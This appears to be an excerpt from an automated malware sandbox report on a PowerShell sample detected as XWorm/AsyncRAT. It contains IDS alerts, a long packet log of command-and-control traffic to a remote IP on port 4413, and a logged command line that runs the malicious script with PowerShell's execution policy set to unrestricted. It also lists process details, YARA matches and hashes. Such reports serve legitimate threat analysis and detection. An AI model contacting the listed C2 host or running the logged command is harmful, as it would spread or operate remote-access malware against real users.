2025-01-11T10:07:04.833348+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:07:10.590896+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:07:10.591417+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 10:03:10.037578106 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:03:10.042766094 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:03:10.042855978 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:03:10.146197081 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:03:10.151238918 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:03:15.710238934 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:03:15.759319067 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:03:23.606302977 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:03:23.611243010 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:03:23.819884062 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:03:23.833658934 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:03:23.838546038 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:03:34.860683918 CET	57846	53	192.168.2.6	162.159.36.2
Jan 11, 2025 10:03:34.865518093 CET	53	57846	162.159.36.2	192.168.2.6
Jan 11, 2025 10:03:34.865591049 CET	57846	53	192.168.2.6	162.159.36.2
Jan 11, 2025 10:03:34.870461941 CET	53	57846	162.159.36.2	192.168.2.6
Jan 11, 2025 10:03:35.329504967 CET	57846	53	192.168.2.6	162.159.36.2
Jan 11, 2025 10:03:35.334599972 CET	53	57846	162.159.36.2	192.168.2.6
Jan 11, 2025 10:03:35.334683895 CET	57846	53	192.168.2.6	162.159.36.2
Jan 11, 2025 10:03:37.072319984 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:03:37.077152967 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:03:37.285228968 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:03:37.287933111 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:03:37.292695999 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:03:45.707942009 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:03:45.759411097 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:03:50.542110920 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:03:50.547307014 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:03:50.755228996 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:03:50.757216930 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:03:50.762196064 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:04.010041952 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:04.015341043 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:04.223272085 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:04.226679087 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:04.231610060 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:15.728135109 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:15.775075912 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:17.478887081 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:17.483834028 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:17.693170071 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:17.694905996 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:17.699764013 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:19.150398016 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:19.155417919 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:19.212821960 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:19.217622995 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:19.363811970 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:19.367649078 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:19.372642040 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:19.485112906 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:19.487034082 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:19.491977930 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:30.634865046 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:30.639972925 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:30.848377943 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:30.855001926 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:30.860094070 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:39.619216919 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:39.624361992 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:39.832693100 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:39.835522890 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:39.840518951 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:45.134973049 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:45.140037060 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:45.348368883 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:45.351078987 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:45.355989933 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:45.732510090 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:45.924529076 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:47.369779110 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:47.374955893 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:47.586685896 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:47.588963032 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:47.593909025 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:49.729041100 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:49.733990908 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:49.853599072 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:49.858648062 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:49.886833906 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:49.891817093 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:49.945635080 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:49.949995995 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:49.995445013 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:50.075448036 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:50.089396954 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:50.094400883 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:50.196497917 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:50.203851938 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:50.208874941 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:55.088176012 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:55.093337059 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:55.313184023 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:04:55.315587044 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:04:55.320519924 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:01.057101011 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:01.062213898 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:01.181931973 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:01.187108994 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:01.272150993 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:01.274286985 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:01.279154062 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:01.395540953 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:01.397753954 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:01.402652979 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:07.510250092 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:07.515286922 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:07.723495960 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:07.725208998 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:07.730114937 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:15.747680902 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:15.904336929 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:20.981127977 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:20.986325979 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:21.197541952 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:21.199697018 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:21.204714060 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:24.494283915 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:24.500031948 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:24.708086014 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:24.710810900 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:24.715910912 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:27.838268042 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:27.843240976 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:28.051667929 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:28.064302921 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:28.069170952 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:33.103857040 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:33.108886957 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:33.464027882 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:33.465784073 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:33.470621109 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:33.931940079 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:33.937783003 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:34.149677038 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:34.154959917 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:34.160203934 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:45.767808914 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:45.947202921 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:47.400626898 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:47.405706882 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:47.613888979 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:47.615191936 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:47.620047092 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:55.059015036 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:55.064420938 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:55.274630070 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:05:55.322202921 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:55.404050112 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:05:55.410958052 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:06.166294098 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:06.171521902 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:06.379585028 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:06.384568930 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:06.389524937 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:15.784852028 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:15.853497028 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:19.634967089 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:19.640157938 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:19.851541996 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:19.852832079 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:19.857953072 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:33.133470058 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:33.138684034 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:33.347245932 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:33.411931038 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:33.416913986 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:43.588295937 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:43.593729019 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:43.801918983 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:43.803194046 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:43.808080912 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:45.797759056 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:45.850577116 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:47.169375896 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:47.174758911 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:47.340497017 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:47.345835924 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:47.383426905 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:47.385514975 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:47.435904980 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:47.494568110 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:47.499809980 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:47.554172993 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:47.555629015 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:47.560574055 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:47.846791029 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:47.848083019 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:47.853081942 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:47.963169098 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:47.968503952 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:48.222026110 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:48.227166891 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:48.232187986 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:51.278939009 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:51.284471035 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:51.492933035 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:51.541080952 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:51.610033035 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:51.615272045 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:52.103925943 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:52.109277964 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:52.317425966 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:52.319099903 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:52.324027061 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:53.275779009 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:53.281081915 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:53.307058096 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:53.312374115 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:53.489178896 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:53.490802050 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:53.495716095 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:53.609906912 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:53.611321926 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:53.616221905 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:55.150677919 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:55.156070948 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:55.380815029 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:06:55.382570028 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:06:55.387569904 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:00.371218920 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:07:00.376627922 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:00.584845066 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:00.587024927 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:07:00.591989994 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:03.791402102 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:07:03.796681881 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:03.916507959 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:07:03.921680927 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:03.932029963 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:07:03.936887980 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:03.963228941 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:07:03.968179941 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:03.978842020 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:07:03.983760118 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:04.006405115 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:04.007679939 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:07:04.059721947 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:04.133440018 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:04.134457111 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:07:04.146152973 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:04.250901937 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:04.255218029 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:07:04.260149956 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:04.371023893 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:04.375195980 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:07:04.380100012 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:04.383325100 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:07:04.388139963 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:04.605058908 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:07:04.610132933 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:04.831267118 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:04.833348036 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:07:04.838221073 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:10.377590895 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:07:10.382812023 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:10.590895891 CET	4413	49718	176.113.115.170	192.168.2.6
Jan 11, 2025 10:07:10.591417074 CET	49718	4413	192.168.2.6	176.113.115.170
Jan 11, 2025 10:07:10.596385956 CET	4413	49718	176.113.115.170	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 10:03:34.860136986 CET	53	63290	162.159.36.2	192.168.2.6
Jan 11, 2025 10:03:35.338906050 CET	62988	53	192.168.2.6	1.1.1.1
Jan 11, 2025 10:03:35.347450972 CET	53	62988	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 10:03:35.338906050 CET	192.168.2.6	1.1.1.1	0x8c6	Standard query (0)	18.31.95.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 10:03:35.347450972 CET	1.1.1.1	192.168.2.6	0x8c6	Name error (3)	18.31.95.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

Target ID:	0
Start time:	04:03:02
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\176.113.115.170.ps1"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.2176808391.00000272C8338000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.2176808391.00000272C8338000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.2176808391.00000272C8F71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.2176808391.00000272C8F71000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.2176808391.00000272C8571000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.2176808391.00000272C8571000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:03:02
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:03:05
Start date:	11/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x940000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000004.00000002.4599580483.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000004.00000002.4599580483.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000004.00000002.4602069270.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Function 00007FFD3489D8EA Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

Yr, xrefs: 00007FFD3489DA0B

Memory Dump Source

Source File: 00000000.00000002.2208252167.00007FFD34890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34890000_powershell.jbxd

Similarity

API ID:
String ID: Yr
API String ID: 0-48185740
Opcode ID: c943c198aa726a42a4a3b90638eb9269127ad376241fc7e7ab70d6747365b361
Instruction ID: 312f045e8fcc00afa37906d1a0f32286f941707f30017c1a7fdb221ef7917896
Opcode Fuzzy Hash: c943c198aa726a42a4a3b90638eb9269127ad376241fc7e7ab70d6747365b361
Instruction Fuzzy Hash: 2DF06532B4CF0687E6117B50C5E05B836C3ABC3318F654235C606CB2C2ED6DA9456649

Function 00007FFD34961C29 Relevance: .4, Instructions: 396COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208679066.00007FFD34960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3232fd964f16efbce570b88c99d3de68ceaed7f950332fb976f62478cd358d79
Instruction ID: 428725a9467008aebd68c9a42142680d1fa89c19edd739345e95784b525e9a24
Opcode Fuzzy Hash: 3232fd964f16efbce570b88c99d3de68ceaed7f950332fb976f62478cd358d79
Instruction Fuzzy Hash: BCB12A62B0EB890FE796962C58B61B87BD1EF57230B0802FFD18DC7197DE1DA8069351

Function 00007FFD3489B2F2 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208252167.00007FFD34890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34890000, based on PE: false

Joe Sandbox IDA Plugin

